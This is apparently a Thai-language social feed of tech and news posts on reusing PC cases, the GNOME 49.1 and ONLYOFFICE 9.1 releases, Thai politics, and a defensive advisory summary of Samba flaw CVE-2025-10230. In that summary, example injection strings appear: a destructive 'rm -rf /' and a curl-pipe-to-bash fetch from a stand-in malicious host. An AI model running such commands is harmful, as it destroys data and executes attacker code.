      - ใช้พื้นที่ภายในติดกล่องเก็บของขนาดเล็ก
      - ดัดแปลงให้มีลิ้นชักเลื่อนออกด้านหลัง
      - ติดสายสะพายเพื่อพกพาไปใช้งานนอกสถานที่

    5. เตาย่างบาร์บีคิว (Portable BBQ Grill)
      - วางถ่านในแนวนอน ติดตั้งตะแกรงย่างด้านบน
      - ใช้พัดลมของเคสควบคุมอุณหภูมิ
      - เหมาะกับการตั้งบนโต๊ะที่รองด้วยฟอยล์กันความร้อน

    https://www.slashgear.com/1999044/5-unexpected-uses-old-pc-towers/
    🖥️ “5 วิธีแปลงเคสคอมเก่าให้กลายเป็นของใช้สุดเจ๋ง” — จากสวนพกพาไปจนถึงเตาย่างบาร์บีคิว หากคุณมีเคสคอมพิวเตอร์เก่าที่ไม่ได้ใช้งานแล้ว อย่าเพิ่งรีบเอาไปทิ้ง! บทความจาก SlashGear แนะนำ 5 วิธีสุดสร้างสรรค์ในการนำเคสเก่ากลับมาใช้ใหม่ ไม่ว่าจะเป็นของตกแต่งบ้านหรืออุปกรณ์ใช้งานจริง โดยอาศัยความแข็งแรงของโครงสร้างเหล็กและพื้นที่ภายในที่ดัดแปลงได้หลากหลาย ✅ ไอเดียแปลงเคสคอมเก่า ➡️ 1. สวนพกพา (Portable Garden)    - ติดตั้งหลอดไฟปลูกต้นไม้และพัดลมระบายอากาศ   - ใช้ Mylar สะท้อนแสงภายใน และวางกระถางต้นไม้ขนาดเล็ก   - เหมาะกับคนอยู่คอนโดหรือไม่มีพื้นที่ปลูกต้นไม้ ➡️ 2. ตู้จดหมายแนวไอที (Novelty Mailbox)   - ถอดชิ้นส่วนภายใน ติดตั้งฐานรอง และเจาะช่องรับจดหมาย   - ถ้าเคสมีช่อง CD-ROM เดิม ก็ใช้เป็นช่องรับจดหมายได้เลย   - สร้างความโดดเด่นให้หน้าบ้านแบบ geek ๆ ➡️ 3. ชั้นวางของติดผนัง (Stackable Shelving)   - ถอดแผงด้านข้างและยึดเคสเข้ากับผนัง   - วางซ้อนกันหลายเคสเพื่อสร้างชั้นวางแบบโมดูลาร์   - ใช้เก็บหนังสือ ของตกแต่ง หรืออุปกรณ์อิเล็กทรอนิกส์ ➡️ 4. กล่องเก็บเครื่องมือ (Tool Storage)   - ใช้พื้นที่ภายในติดกล่องเก็บของขนาดเล็ก   - ดัดแปลงให้มีลิ้นชักเลื่อนออกด้านหลัง   - ติดสายสะพายเพื่อพกพาไปใช้งานนอกสถานที่ ➡️ 5. เตาย่างบาร์บีคิว (Portable BBQ Grill)   - วางถ่านในแนวนอน ติดตั้งตะแกรงย่างด้านบน   - ใช้พัดลมของเคสควบคุมอุณหภูมิ   - เหมาะกับการตั้งบนโต๊ะที่รองด้วยฟอยล์กันความร้อน https://www.slashgear.com/1999044/5-unexpected-uses-old-pc-towers/
    WWW.SLASHGEAR.COM
    5 Unexpected Uses For Old PC Towers - SlashGear
    Many of us have old computer parts lying around, but what are you supposed to do with old PC towers? Use your creativity, and repurpose them in unexpected ways.
    0 ความคิดเห็น 0 การแบ่งปัน 48 มุมมอง 0 รีวิว
  • “GNOME 49.1 มาแล้ว!” — อัปเดตครั้งใหญ่เพื่อความเสถียร ความเข้าถึง และประสบการณ์ผู้ใช้ที่ดีขึ้น

    GNOME Project ได้ปล่อย GNOME 49.1 ซึ่งเป็นอัปเดตแรกของซีรีส์ GNOME 49 “Brescia” โดยเน้นการแก้ไขบั๊กและปรับปรุงประสบการณ์ใช้งานในหลายส่วนของเดสก์ท็อป รวมถึง Nautilus, Epiphany, GNOME Shell, Mutter, Orca และ GNOME Software

    การเปลี่ยนแปลงสำคัญ ได้แก่:
    ปรับปรุง UI การจับภาพหน้าจอให้เข้าถึงง่ายขึ้น
    รองรับการพิมพ์ภาษาฮินดีแบบ Bolnagri บนคีย์บอร์ดจอสัมผัส
    ปรับปรุงไอคอนการเข้าถึงบนหน้าจอล็อกอิน
    แก้ไขปัญหาการแจ้งเตือนอัปเดตใน GNOME Software
    แก้ไขบั๊กที่ทำให้เกิด zombie process จาก gnome-session
    แก้ไขปัญหาโฟกัสคีย์บอร์ดใน Activities Overview
    แก้ไขปัญหา GTK popover submenu ที่ทำให้แอปค้าง
    แก้ไขปัญหาหน้าต่าง maximized ล้นใต้ panel
    แก้ไขการสลับ layout คีย์บอร์ดผ่าน xkb-options

    ใน Nautilus (Files):
    แก้ไขการ crash จาก callback ภายใน
    แก้ไขการ paste รูปภาพขนาดใหญ่
    ปรับปรุง contrast ของรายการที่ถูก cut
    แก้ไขการโฟกัสในหน้าต่างเลือกแอปเริ่มต้น
    แก้ไข sidebar drag-and-drop และการทดสอบ archive ที่ใช้เวลานาน

    ใน Epiphany (GNOME Web):
    ปรับปรุง address bar และ dropdown behavior
    แก้ไขการแสดงผลตัวอักษร non-Latin
    เพิ่ม OpenSearch ให้ DuckDuckGo, Bing และ Google
    แก้ไข caret position หลัง Ctrl+K
    แก้ไข favicon ที่มีพื้นหลังดำให้โปร่งใส

    ใน Orca (screen reader):
    เพิ่มการควบคุม caret สำหรับทุก text object
    เพิ่มคำสั่งใหม่ผ่าน D-Bus Remote Controller
    ปรับปรุงการอ่าน voice name และการจัดเรียงใน Preferences
    เพิ่ม OnlyShowIn=GNOME ให้ Orca autostart ได้ในเวอร์ชันเก่า

    GNOME Control Center ก็ได้รับการปรับปรุงหลาย panels เช่น Appearance, Date & Time, Mouse, Network, Users และ Wacom ส่วน GNOME Display Manager (GDM) ได้รับ hotfix สำหรับบั๊กที่ทำให้ GNOME Shell ค้าง และการตรวจสอบ Wayland ที่ผิดพลาด

    ข้อมูลในข่าว
    GNOME 49.1 เป็นอัปเดตแรกของซีรีส์ GNOME 49 “Brescia”
    ปรับปรุง accessibility, multi-touch, และการจัดการคีย์บอร์ด
    แก้ไข zombie process จาก gnome-session
    Nautilus ได้รับการแก้ไขหลายจุด เช่น paste รูปภาพ, contrast, drag-and-drop
    Epiphany ปรับปรุง address bar, dropdown, และรองรับ OpenSearch
    Orca เพิ่ม caret navigation และปรับปรุง voice name presentation
    GNOME Software แก้ไขการแจ้งเตือนอัปเดต
    GNOME Control Center ปรับปรุงหลาย panels
    GDM ได้รับ hotfix สำหรับบั๊กที่ทำให้ GNOME Shell ค้าง

    https://9to5linux.com/gnome-49-1-desktop-released-with-various-improvements-and-bug-fixes
    🖥️ “GNOME 49.1 มาแล้ว!” — อัปเดตครั้งใหญ่เพื่อความเสถียร ความเข้าถึง และประสบการณ์ผู้ใช้ที่ดีขึ้น GNOME Project ได้ปล่อย GNOME 49.1 ซึ่งเป็นอัปเดตแรกของซีรีส์ GNOME 49 “Brescia” โดยเน้นการแก้ไขบั๊กและปรับปรุงประสบการณ์ใช้งานในหลายส่วนของเดสก์ท็อป รวมถึง Nautilus, Epiphany, GNOME Shell, Mutter, Orca และ GNOME Software การเปลี่ยนแปลงสำคัญ ได้แก่: ⭐ ปรับปรุง UI การจับภาพหน้าจอให้เข้าถึงง่ายขึ้น ⭐ รองรับการพิมพ์ภาษาฮินดีแบบ Bolnagri บนคีย์บอร์ดจอสัมผัส ⭐ ปรับปรุงไอคอนการเข้าถึงบนหน้าจอล็อกอิน ⭐ แก้ไขปัญหาการแจ้งเตือนอัปเดตใน GNOME Software ⭐ แก้ไขบั๊กที่ทำให้เกิด zombie process จาก gnome-session ⭐ แก้ไขปัญหาโฟกัสคีย์บอร์ดใน Activities Overview ⭐ แก้ไขปัญหา GTK popover submenu ที่ทำให้แอปค้าง ⭐ แก้ไขปัญหาหน้าต่าง maximized ล้นใต้ panel ⭐ แก้ไขการสลับ layout คีย์บอร์ดผ่าน xkb-options ใน Nautilus (Files): 🗃️ แก้ไขการ crash จาก callback ภายใน 🗃️ แก้ไขการ paste รูปภาพขนาดใหญ่ 🗃️ ปรับปรุง contrast ของรายการที่ถูก cut 🗃️ แก้ไขการโฟกัสในหน้าต่างเลือกแอปเริ่มต้น 🗃️ แก้ไข sidebar drag-and-drop และการทดสอบ archive ที่ใช้เวลานาน ใน Epiphany (GNOME Web): 🌐 ปรับปรุง address bar และ dropdown behavior 🌐 แก้ไขการแสดงผลตัวอักษร non-Latin 🌐 เพิ่ม OpenSearch ให้ DuckDuckGo, Bing และ Google 🌐 แก้ไข caret position หลัง Ctrl+K 🌐 แก้ไข favicon ที่มีพื้นหลังดำให้โปร่งใส ใน Orca (screen reader): 🔊 เพิ่มการควบคุม caret สำหรับทุก text object 🔊 เพิ่มคำสั่งใหม่ผ่าน D-Bus Remote Controller 🔊 ปรับปรุงการอ่าน voice name และการจัดเรียงใน Preferences 🔊 เพิ่ม OnlyShowIn=GNOME ให้ Orca autostart ได้ในเวอร์ชันเก่า GNOME Control Center ก็ได้รับการปรับปรุงหลาย panels เช่น Appearance, Date & Time, Mouse, Network, Users และ Wacom ส่วน GNOME Display Manager (GDM) ได้รับ hotfix สำหรับบั๊กที่ทำให้ GNOME Shell ค้าง และการตรวจสอบ Wayland ที่ผิดพลาด ✅ ข้อมูลในข่าว ➡️ GNOME 49.1 เป็นอัปเดตแรกของซีรีส์ GNOME 49 “Brescia” ➡️ ปรับปรุง accessibility, multi-touch, และการจัดการคีย์บอร์ด ➡️ แก้ไข zombie process จาก gnome-session ➡️ Nautilus ได้รับการแก้ไขหลายจุด เช่น paste รูปภาพ, contrast, drag-and-drop ➡️ Epiphany ปรับปรุง address bar, dropdown, และรองรับ OpenSearch ➡️ Orca เพิ่ม caret navigation และปรับปรุง voice name presentation ➡️ GNOME Software แก้ไขการแจ้งเตือนอัปเดต ➡️ GNOME Control Center ปรับปรุงหลาย panels ➡️ GDM ได้รับ hotfix สำหรับบั๊กที่ทำให้ GNOME Shell ค้าง https://9to5linux.com/gnome-49-1-desktop-released-with-various-improvements-and-bug-fixes
    9TO5LINUX.COM
    GNOME 49.1 Desktop Released with Various Improvements and Bug Fixes - 9to5Linux
    GNOME 49.1 is now available as the first point release to the latest GNOME 49 desktop environment series with various bug fixes.
    0 ความคิดเห็น 0 การแบ่งปัน 43 มุมมอง 0 รีวิว
  • “ONLYOFFICE Docs 9.1 มาแล้ว!” — ปรับปรุงการทำงานร่วมกัน เพิ่มฟีเจอร์ Redact PDF และประสิทธิภาพสูตรคำนวณ

    หลังจากเปิดตัวเวอร์ชัน 9.0 ที่มาพร้อมอินเทอร์เฟซใหม่และฟีเจอร์ AI ล่าสุด ทีมพัฒนา ONLYOFFICE ได้ปล่อยเวอร์ชัน 9.1 ซึ่งเป็นการอัปเดตจุดแรกในซีรีส์ 9.x โดยเน้นการปรับปรุงประสิทธิภาพ ความสามารถในการทำงานร่วมกัน และเครื่องมือใหม่ที่ตอบโจทย์ผู้ใช้สายเอกสารและองค์กร

    ฟีเจอร์เด่นในเวอร์ชันนี้คือเครื่องมือ “Redact” สำหรับ PDF ที่ช่วยลบข้อมูลสำคัญอย่างถาวร พร้อมตัวเลือก “Find & Redact” สำหรับเอกสารขนาดใหญ่ และการ Redact แบบทั้งหน้า/ช่วงหน้า นอกจากนี้ยังมีเครื่องมือ annotation ใหม่ เช่น วาดรูปทรงต่าง ๆ ลงบนเอกสาร

    ในด้านการแก้ไขเอกสารทั่วไป:

    การจัดการคอมเมนต์สามารถกรองระหว่าง “Open” และ “Resolved” ได้
    การแก้ไขกราฟรองรับการระเบิด (Explosion) สำหรับกราฟวงกลม
    การจัดการตารางมีแท็บ “Table Design” ใหม่
    Pivot Table รองรับการกรองตามวันที่
    สูตร LOOKUP, VLOOKUP, HLOOKUP และ XLOOKUP ทำงานเร็วขึ้นและใช้หน่วยความจำดีขึ้น
    การตั้งชื่อชีตและการใส่สูตรมีการเน้น argument เพื่อความเข้าใจง่าย

    ใน Presentation Editor มีแท็บ Slide Master ใหม่ ส่วน Document Editor รองรับ section break ใน block content control ทุกระดับ

    ด้านการรองรับไฟล์:
    เปิดดูภาพ HEIF และเอกสาร HWPML ได้
    แปลง PDF เป็น TXT และ PPTX เป็น TXT ได้โดยตรง
    รองรับสูตรคณิตศาสตร์ในรูปแบบ MathML

    เวอร์ชันเซิร์ฟเวอร์ยังมี Admin Panel ใหม่สำหรับดูสถานะและการตั้งค่าระบบ พร้อมการปรับปรุง localization สำหรับภาษาจีนดั้งเดิมและเซอร์เบีย

    ข้อมูลในข่าว
    ONLYOFFICE Docs 9.1 เป็นอัปเดตจุดแรกในซีรีส์ 9.x
    เพิ่มเครื่องมือ Redact สำหรับ PDF พร้อม Find & Redact และ Redact แบบช่วงหน้า
    เพิ่ม annotation tools เช่น Rectangle, Circle, Arrow, Connected Lines
    กรองคอมเมนต์ระหว่าง “Open” และ “Resolved” ได้
    รองรับ Explosion ในกราฟวงกลม 2D
    LOOKUP, VLOOKUP, HLOOKUP, XLOOKUP ทำงานเร็วขึ้น
    มีแท็บ “Table Design” สำหรับจัดการตาราง
    Pivot Table รองรับการกรองตามวันที่
    ตั้งชื่อชีตได้ทันที และสูตรมีการเน้น argument
    Presentation Editor มีแท็บ Slide Master ใหม่
    Document Editor รองรับ section break ใน block content control
    รองรับ HEIF, HWPML, PDF→TXT, PPTX→TXT, MathML
    เวอร์ชันเซิร์ฟเวอร์มี Admin Panel ใหม่
    ปรับปรุง localization สำหรับภาษาจีนดั้งเดิมและเซอร์เบีย

    https://news.itsfoss.com/onlyoffice-docs-9-1-release/
    📝 “ONLYOFFICE Docs 9.1 มาแล้ว!” — ปรับปรุงการทำงานร่วมกัน เพิ่มฟีเจอร์ Redact PDF และประสิทธิภาพสูตรคำนวณ หลังจากเปิดตัวเวอร์ชัน 9.0 ที่มาพร้อมอินเทอร์เฟซใหม่และฟีเจอร์ AI ล่าสุด ทีมพัฒนา ONLYOFFICE ได้ปล่อยเวอร์ชัน 9.1 ซึ่งเป็นการอัปเดตจุดแรกในซีรีส์ 9.x โดยเน้นการปรับปรุงประสิทธิภาพ ความสามารถในการทำงานร่วมกัน และเครื่องมือใหม่ที่ตอบโจทย์ผู้ใช้สายเอกสารและองค์กร ฟีเจอร์เด่นในเวอร์ชันนี้คือเครื่องมือ “Redact” สำหรับ PDF ที่ช่วยลบข้อมูลสำคัญอย่างถาวร พร้อมตัวเลือก “Find & Redact” สำหรับเอกสารขนาดใหญ่ และการ Redact แบบทั้งหน้า/ช่วงหน้า นอกจากนี้ยังมีเครื่องมือ annotation ใหม่ เช่น วาดรูปทรงต่าง ๆ ลงบนเอกสาร ในด้านการแก้ไขเอกสารทั่วไป: 📝 การจัดการคอมเมนต์สามารถกรองระหว่าง “Open” และ “Resolved” ได้ 📝 การแก้ไขกราฟรองรับการระเบิด (Explosion) สำหรับกราฟวงกลม 📝 การจัดการตารางมีแท็บ “Table Design” ใหม่ 📝 Pivot Table รองรับการกรองตามวันที่ 📝 สูตร LOOKUP, VLOOKUP, HLOOKUP และ XLOOKUP ทำงานเร็วขึ้นและใช้หน่วยความจำดีขึ้น 📝 การตั้งชื่อชีตและการใส่สูตรมีการเน้น argument เพื่อความเข้าใจง่าย ใน Presentation Editor มีแท็บ Slide Master ใหม่ ส่วน Document Editor รองรับ section break ใน block content control ทุกระดับ ด้านการรองรับไฟล์: 📝 เปิดดูภาพ HEIF และเอกสาร HWPML ได้ 📝 แปลง PDF เป็น TXT และ PPTX เป็น TXT ได้โดยตรง 📝 รองรับสูตรคณิตศาสตร์ในรูปแบบ MathML เวอร์ชันเซิร์ฟเวอร์ยังมี Admin Panel ใหม่สำหรับดูสถานะและการตั้งค่าระบบ พร้อมการปรับปรุง localization สำหรับภาษาจีนดั้งเดิมและเซอร์เบีย ✅ ข้อมูลในข่าว ➡️ ONLYOFFICE Docs 9.1 เป็นอัปเดตจุดแรกในซีรีส์ 9.x ➡️ เพิ่มเครื่องมือ Redact สำหรับ PDF พร้อม Find & Redact และ Redact แบบช่วงหน้า ➡️ เพิ่ม annotation tools เช่น Rectangle, Circle, Arrow, Connected Lines ➡️ กรองคอมเมนต์ระหว่าง “Open” และ “Resolved” ได้ ➡️ รองรับ Explosion ในกราฟวงกลม 2D ➡️ LOOKUP, VLOOKUP, HLOOKUP, XLOOKUP ทำงานเร็วขึ้น ➡️ มีแท็บ “Table Design” สำหรับจัดการตาราง ➡️ Pivot Table รองรับการกรองตามวันที่ ➡️ ตั้งชื่อชีตได้ทันที และสูตรมีการเน้น argument ➡️ Presentation Editor มีแท็บ Slide Master ใหม่ ➡️ Document Editor รองรับ section break ใน block content control ➡️ รองรับ HEIF, HWPML, PDF→TXT, PPTX→TXT, MathML ➡️ เวอร์ชันเซิร์ฟเวอร์มี Admin Panel ใหม่ ➡️ ปรับปรุง localization สำหรับภาษาจีนดั้งเดิมและเซอร์เบีย https://news.itsfoss.com/onlyoffice-docs-9-1-release/
    NEWS.ITSFOSS.COM
    ONLYOFFICE Docs 9.1 Arrives with PDF Redaction and Many Editor Upgrades
    New redaction tools, performance boosts, and enhanced collaboration features.
    0 ความคิดเห็น 0 การแบ่งปัน 33 มุมมอง 0 รีวิว
  • “ช่องโหว่ CVE-2025-10230 บน Samba AD DC” — เสี่ยงถูกสั่งรันคำสั่งจากระยะไกลโดยไม่ต้องยืนยันตัวตน

    ทีมพัฒนา Samba ได้ออกประกาศเตือนภัยร้ายแรงเกี่ยวกับช่องโหว่ CVE-2025-10230 ซึ่งมีคะแนน CVSS เต็ม 10.0 โดยช่องโหว่นี้เปิดทางให้ผู้โจมตีสามารถสั่งรันคำสั่งบนระบบปฏิบัติการได้จากระยะไกลโดยไม่ต้องยืนยันตัวตน หากระบบนั้นเปิดใช้งาน WINS server และมีการตั้งค่า “wins hook” ในไฟล์ smb.conf

    ช่องโหว่นี้เกิดจากการที่ Samba ไม่ได้ตรวจสอบข้อมูลที่ส่งเข้ามาอย่างเพียงพอ เมื่อมีการลงทะเบียนหรือเปลี่ยนชื่อ NetBIOS ผ่าน WINS server ระบบจะเรียกใช้โปรแกรมที่กำหนดไว้ใน “wins hook” โดยนำข้อมูลที่ผู้ใช้ส่งมาไปใส่ในคำสั่ง shell โดยตรง ซึ่งเปิดช่องให้แฮกเกอร์แทรกคำสั่งอันตราย เช่น ; rm -rf / หรือ | curl malicious.site | bash

    เนื่องจาก WINS เป็นโปรโตคอลเก่าที่เชื่อถือข้อมูลจาก client โดยไม่ตรวจสอบอย่างเข้มงวด ผู้โจมตีสามารถส่งชื่อ NetBIOS ที่มีความยาวไม่เกิน 15 ตัวอักษรและแฝงตัวอักขระ shell เพื่อรันคำสั่งบนเครื่องเป้าหมายได้ทันที

    ช่องโหว่นี้มีผลเฉพาะกับ Samba ที่ทำหน้าที่เป็น Active Directory Domain Controller และเปิดใช้งาน WINS พร้อมตั้งค่า “wins hook” เท่านั้น ส่วน Samba ที่เป็น member server หรือ standalone host จะไม่ได้รับผลกระทบ

    ทีม Samba แนะนำให้ผู้ดูแลระบบ:
    ลบหรือไม่ตั้งค่า “wins hook” ใน smb.conf
    ปิดการใช้งาน WINS server (wins support = no)
    อัปเดตเป็นเวอร์ชันที่ปลอดภัย เช่น 4.23.2, 4.22.5 หรือ 4.21.9

    ข้อมูลในข่าว
    ช่องโหว่ CVE-2025-10230 มีคะแนน CVSS 10.0 เต็ม
    เกิดจากการใช้ข้อมูลจาก client โดยไม่ตรวจสอบก่อนส่งเข้า shell
    ส่งผลให้สามารถรันคำสั่งจากระยะไกลโดยไม่ต้องยืนยันตัวตน
    มีผลเฉพาะกับ Samba AD DC ที่เปิด WINS และตั้งค่า “wins hook”
    WINS เป็นโปรโตคอลเก่าที่เชื่อถือ client โดยไม่ตรวจสอบ
    NetBIOS name ที่มี shell metacharacters เช่น ; หรือ | สามารถใช้โจมตีได้
    Samba ที่ไม่ใช่ domain controllerจะไม่ถูกกระทบ
    วิธีแก้ไขคือ ลบ “wins hook” หรือปิด WINS (wins support = no)
    เวอร์ชันที่ปลอดภัย ได้แก่ 4.23.2, 4.22.5 และ 4.21.9
    “wins hook” อาจถูกยกเลิกในเวอร์ชันอนาคต

    https://securityonline.info/critical-samba-rce-flaw-cve-2025-10230-cvss-10-0-allows-unauthenticated-command-injection-on-ad-dcs/
    🧨 “ช่องโหว่ CVE-2025-10230 บน Samba AD DC” — เสี่ยงถูกสั่งรันคำสั่งจากระยะไกลโดยไม่ต้องยืนยันตัวตน ทีมพัฒนา Samba ได้ออกประกาศเตือนภัยร้ายแรงเกี่ยวกับช่องโหว่ CVE-2025-10230 ซึ่งมีคะแนน CVSS เต็ม 10.0 โดยช่องโหว่นี้เปิดทางให้ผู้โจมตีสามารถสั่งรันคำสั่งบนระบบปฏิบัติการได้จากระยะไกลโดยไม่ต้องยืนยันตัวตน หากระบบนั้นเปิดใช้งาน WINS server และมีการตั้งค่า “wins hook” ในไฟล์ smb.conf ช่องโหว่นี้เกิดจากการที่ Samba ไม่ได้ตรวจสอบข้อมูลที่ส่งเข้ามาอย่างเพียงพอ เมื่อมีการลงทะเบียนหรือเปลี่ยนชื่อ NetBIOS ผ่าน WINS server ระบบจะเรียกใช้โปรแกรมที่กำหนดไว้ใน “wins hook” โดยนำข้อมูลที่ผู้ใช้ส่งมาไปใส่ในคำสั่ง shell โดยตรง ซึ่งเปิดช่องให้แฮกเกอร์แทรกคำสั่งอันตราย เช่น ; rm -rf / หรือ | curl malicious.site | bash เนื่องจาก WINS เป็นโปรโตคอลเก่าที่เชื่อถือข้อมูลจาก client โดยไม่ตรวจสอบอย่างเข้มงวด ผู้โจมตีสามารถส่งชื่อ NetBIOS ที่มีความยาวไม่เกิน 15 ตัวอักษรและแฝงตัวอักขระ shell เพื่อรันคำสั่งบนเครื่องเป้าหมายได้ทันที ช่องโหว่นี้มีผลเฉพาะกับ Samba ที่ทำหน้าที่เป็น Active Directory Domain Controller และเปิดใช้งาน WINS พร้อมตั้งค่า “wins hook” เท่านั้น ส่วน Samba ที่เป็น member server หรือ standalone host จะไม่ได้รับผลกระทบ ทีม Samba แนะนำให้ผู้ดูแลระบบ: 🚑 ลบหรือไม่ตั้งค่า “wins hook” ใน smb.conf 🚑 ปิดการใช้งาน WINS server (wins support = no) 🚑 อัปเดตเป็นเวอร์ชันที่ปลอดภัย เช่น 4.23.2, 4.22.5 หรือ 4.21.9 ✅ ข้อมูลในข่าว ➡️ ช่องโหว่ CVE-2025-10230 มีคะแนน CVSS 10.0 เต็ม ➡️ เกิดจากการใช้ข้อมูลจาก client โดยไม่ตรวจสอบก่อนส่งเข้า shell ➡️ ส่งผลให้สามารถรันคำสั่งจากระยะไกลโดยไม่ต้องยืนยันตัวตน ➡️ มีผลเฉพาะกับ Samba AD DC ที่เปิด WINS และตั้งค่า “wins hook” ➡️ WINS เป็นโปรโตคอลเก่าที่เชื่อถือ client โดยไม่ตรวจสอบ ➡️ NetBIOS name ที่มี shell metacharacters เช่น ; หรือ | สามารถใช้โจมตีได้ ➡️ Samba ที่ไม่ใช่ domain controllerจะไม่ถูกกระทบ ➡️ วิธีแก้ไขคือ ลบ “wins hook” หรือปิด WINS (wins support = no) ➡️ เวอร์ชันที่ปลอดภัย ได้แก่ 4.23.2, 4.22.5 และ 4.21.9 ➡️ “wins hook” อาจถูกยกเลิกในเวอร์ชันอนาคต https://securityonline.info/critical-samba-rce-flaw-cve-2025-10230-cvss-10-0-allows-unauthenticated-command-injection-on-ad-dcs/
    SECURITYONLINE.INFO
    Critical Samba RCE Flaw CVE-2025-10230 (CVSS 10.0) Allows Unauthenticated Command Injection on AD DCs
    Samba released an urgent fix for a Critical (CVSS 10.0) RCE flaw (CVE-2025-10230) allowing unauthenticated command injection on AD DCs when the WINS hook is enabled. Update to 4.23.2.
    0 ความคิดเห็น 0 การแบ่งปัน 39 มุมมอง 0 รีวิว
  • ดร.เอ้ ลงพื้นที่"หลุมยุบสามเสน" ซ้ำ ชี้ซ่อมอุโมงค์ใต้ดินคืองานสุดหิน เสนอสร้าง “กล่องคอนกรีต” ช่วย
    https://www.thai-tai.tv/news/21932/
    .
    #ไทยไท #หลุมยุบสามเสน #สุชัชวีร์ #วิศวกร #สถานีตำรวจสามเสน #รถไฟฟ้าใต้ดิน
    ดร.เอ้ ลงพื้นที่"หลุมยุบสามเสน" ซ้ำ ชี้ซ่อมอุโมงค์ใต้ดินคืองานสุดหิน เสนอสร้าง “กล่องคอนกรีต” ช่วย https://www.thai-tai.tv/news/21932/ . #ไทยไท #หลุมยุบสามเสน #สุชัชวีร์ #วิศวกร #สถานีตำรวจสามเสน #รถไฟฟ้าใต้ดิน
    0 ความคิดเห็น 0 การแบ่งปัน 57 มุมมอง 0 รีวิว
  • ทัพฟ้าโต้เฟกนิวส์ เขมรตีปี๊บข่าว"อังคณา" : [NEWS UPDATE]
    พลอากาศโท จักรกฤษณ์ ธรรมวิชัย โฆษกกองทัพอากาศ เผยกรณีกัมพูชาออกข่าวทหารไทยโจมตีกัมพูชาก่อน โดยใช้เครื่องบิน F-16 และ Gripen ยืนยัน การปะทะเมื่อวันที่ 24 กรกฎาคม 2568 มีการยิงจรวด BM- 21 เข้ามาในพื้นที่ไทยที่จังหวัดสุรินทร์ ส่งผลให้คนไทยเสียชีวิตและบาดเจ็บ กองทัพอากาศตอบโต้โดยส่งเครื่องบิน F-16 โจมตีเป้าหมายทางทหารของกัมพูชา ใช้ระเบิดความแม่นยำสูง เพื่อไม่ให้กระทบพลเรือน ข่าวดังกล่าวเป็นเฟกนิวส์ดิสเครดิตกองทัพไทย กรณีนางอังคณา นีละไพจิตร สว. ให้ความเห็นเรื่องการใช้เครื่องบิน F-16 โจมตีกัมพูชา ทางกัมพูชาเอาข่าวนางอังคณาไปขยายผล กองทัพอากาศไม่ได้ตอบโต้ สว. แต่ตอบโต้สิ่งที่ไม่ถูกต้อง และยืนยันข้อเท็จจริงว่า ปฎิบัติการของเราอยู่บนพื้นฐานการป้องกันตนเอง ของกฎบัตรสหประชาชาติ ตลอดช่วงที่โจมตีเลือกเป้าหมายทางทหารทั้งหมด




    ส่อผิดจริยธรรมร้ายแรง

    รอดูร่างสุดท้ายลงมติ

    "นาท ภูวนัย"ตำนานหนังไทย

    ยึดบิตคอยน์แก๊งสแกมเมอร์
    ทัพฟ้าโต้เฟกนิวส์ เขมรตีปี๊บข่าว"อังคณา" : [NEWS UPDATE] พลอากาศโท จักรกฤษณ์ ธรรมวิชัย โฆษกกองทัพอากาศ เผยกรณีกัมพูชาออกข่าวทหารไทยโจมตีกัมพูชาก่อน โดยใช้เครื่องบิน F-16 และ Gripen ยืนยัน การปะทะเมื่อวันที่ 24 กรกฎาคม 2568 มีการยิงจรวด BM- 21 เข้ามาในพื้นที่ไทยที่จังหวัดสุรินทร์ ส่งผลให้คนไทยเสียชีวิตและบาดเจ็บ กองทัพอากาศตอบโต้โดยส่งเครื่องบิน F-16 โจมตีเป้าหมายทางทหารของกัมพูชา ใช้ระเบิดความแม่นยำสูง เพื่อไม่ให้กระทบพลเรือน ข่าวดังกล่าวเป็นเฟกนิวส์ดิสเครดิตกองทัพไทย กรณีนางอังคณา นีละไพจิตร สว. ให้ความเห็นเรื่องการใช้เครื่องบิน F-16 โจมตีกัมพูชา ทางกัมพูชาเอาข่าวนางอังคณาไปขยายผล กองทัพอากาศไม่ได้ตอบโต้ สว. แต่ตอบโต้สิ่งที่ไม่ถูกต้อง และยืนยันข้อเท็จจริงว่า ปฎิบัติการของเราอยู่บนพื้นฐานการป้องกันตนเอง ของกฎบัตรสหประชาชาติ ตลอดช่วงที่โจมตีเลือกเป้าหมายทางทหารทั้งหมด ส่อผิดจริยธรรมร้ายแรง รอดูร่างสุดท้ายลงมติ "นาท ภูวนัย"ตำนานหนังไทย ยึดบิตคอยน์แก๊งสแกมเมอร์
    0 ความคิดเห็น 0 การแบ่งปัน 289 มุมมอง 0 0 รีวิว
  • ไชยชนก ลั่นไม่นิ่งเฉย สั่งดีอีศึกษา "Active Cyber Defence 2025" กฎหมายใหม่ ตอบโต้-แฮกกลับมิจฉาชีพทางไซเบอร์ เตรียมบิน UN ลงนามความร่วมมือปราบคอลเซ็นเตอร์
    https://www.thai-tai.tv/news/21929/
    .
    #ไทยไท #ไชยชนกชิดชอบ #ดีอี #ปราบสแกมเมอร์ #ActiveCyberDefence2025 #สินบน40ล้าน #ธรรมนัส

    ไชยชนก ลั่นไม่นิ่งเฉย สั่งดีอีศึกษา "Active Cyber Defence 2025" กฎหมายใหม่ ตอบโต้-แฮกกลับมิจฉาชีพทางไซเบอร์ เตรียมบิน UN ลงนามความร่วมมือปราบคอลเซ็นเตอร์ https://www.thai-tai.tv/news/21929/ . #ไทยไท #ไชยชนกชิดชอบ #ดีอี #ปราบสแกมเมอร์ #ActiveCyberDefence2025 #สินบน40ล้าน #ธรรมนัส
    0 ความคิดเห็น 0 การแบ่งปัน 49 มุมมอง 0 รีวิว
  • “ประเสริฐ” ยัน 2 ปีไม่เคยมีใครเสนอ 40 ล้านบาท ปัดไม่รู้จัก "เบน สมิธ" โยนเผือกร้อนให้รัฐมนตรีคนปัจจุบัน
    https://www.thai-tai.tv/news/21927/
    .
    #ไทยไท #สินบน40ล้าน #เบนสมิธ #แก๊งคอลเซนเตอร์ #ประเสริฐจันทรรวงทอง #ไชยชนกชิดชอบ #ภูมิใจไทย

    “ประเสริฐ” ยัน 2 ปีไม่เคยมีใครเสนอ 40 ล้านบาท ปัดไม่รู้จัก "เบน สมิธ" โยนเผือกร้อนให้รัฐมนตรีคนปัจจุบัน https://www.thai-tai.tv/news/21927/ . #ไทยไท #สินบน40ล้าน #เบนสมิธ #แก๊งคอลเซนเตอร์ #ประเสริฐจันทรรวงทอง #ไชยชนกชิดชอบ #ภูมิใจไทย
    0 ความคิดเห็น 0 การแบ่งปัน 50 มุมมอง 0 รีวิว
